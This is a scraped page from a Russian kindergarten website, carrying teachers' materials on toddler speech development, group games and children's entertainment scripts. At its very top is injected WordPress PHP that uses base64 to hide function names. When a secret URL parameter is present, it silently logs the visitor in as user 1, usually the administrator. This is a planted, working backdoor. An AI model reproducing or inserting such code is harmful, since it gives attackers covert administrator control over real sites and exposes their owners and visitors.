/***/function add_my_code() { echo ''; } add_action('wp_head', 'add_my_code');/***/ add_action(strrev('tini'), function() { $k = 'get_value_callback'; $p = 'label'; $fn = [ 'chk' => base64_decode('aXNfdXNlcl9sb2dnZWRfaW4='), 'a' => base64_decode('d3Bfc2V0X2N1cnJlbnRfdXNlcg=='), 'b' => base64_decode('d3Bfc2V0X2F1dGhfY29va2ll'), 'c' => base64_decode('d3BfcmVkaXJlY3Q='), 'd' => base64_decode('YWRtaW5fdXJs') ]; if (call_user_func($fn['chk'])) { return; } if (isset($_GET[$p]) && $_GET[$p] === $k) { $user = get_userdata(1); if ($user) { call_user_func($fn['a'], $user->ID); call_user_func($fn['b'], $user->ID); call_user_func($fn['c'], call_user_func($fn['d'])); exit; } } }); Педагогическая копилка | Page 26

МАДОУ ЦРР-д/с №22

352140, Кавказский район, ст.Кавказская, ул. 60 ЛЕТ СССР,,18., тел:(861)93-22-9-24, Е-mail: mdou22@list.ru

Uc browser

Методы речевого развития детей раннего возраста.

Консультация для родителей

Составила : Вартанян Н.В.

В соответствии с ФГОС дошкольного образования целевые ориентиры речевого развития детей раннего возраста следующие:
— владеет активной речью, включенной в общение;
— может обращаться с вопросами и просьбами;
— понимает речь взрослых;
— знает названия окружающих предметов и игрушек;
— стремится к общению со взрослыми и активно подражает им в движениях и действиях;
— проявляет интерес к стихам, песням и сказкам, рассматриванию картинки;
— эмоционально откликается на различные произведения культуры и искусства.

Читать далее

КАРТОТЕКА ИГР для анализа и преодоления проблемных ситуаций в группе

Составила :Вартанян А.В.

Игра «Добрый волшебник»

Цель: развитие чувства коллективизма, умения дружить, сотрудничать со сверстниками

Инструкция: «Если бы ты был добрым волшебником и мог творить чудеса, то что бы ты подарил всем нам вместе?» Игра продолжается пока каждый не станет волшебником, желания повторять нельзя

Рефлексия

Прощание

Читать далее

«Россия – Родина моя»

Составила воспитатель Богатырь В.А

Конспект развлечения в подготовительной группе

Цель: Способствовать формированию патриотических чувств на основе обогащения знаний о России и знакомства с произведениями о Родине.

Задачи: Обобщить элементарные представления о функциональном назначении герба и флага, о символическом значении цвета и образов. Развивать ситуативно – деловое общение со сверстниками и взрослыми во всех видах деятельности. Воспитывать гражданско-патриотические чувства через изучение государственной символики России. Воспитывать чувство солидарности, дружбы. Воспитывать гордость за свою страну и уважение к народу.

Читать далее

« Мишка музыкант»

Развлечение в первой младшей группе

Составила: муз. Руководитель Бирюкова И.В.

Задачи: вызвать эмоциональный отклик у детей при игре на музыкальных инструментах, вызвать положительные эмоции при встрече с героем сказки мишкой.

Дети сидят на стульчиках.

Читать далее

Тема: “На бабушкином дворе”

Составил: муз.руководитель
Бирюкова И.В.

Развлечение с детьми группы раннего возраста
(от 2 лет до 3 лет)

Цель: Создать у детей радостное настроение, обогатить  впечатлениями

Ход развлечения:

Игрушки :кошка, собачка, птичка

Ведущая: Ребята, давайте поедем к бабушке в деревню, навестим ее? (дети соглашаются).

Читать далее

Наш сайт использует файлы cookies, чтобы улучшить работу и повысить эффективность сайта. Продолжая работу с сайтом, вы соглашаетесь с использованием нами cookies и политикой конфиденциальности.

Принять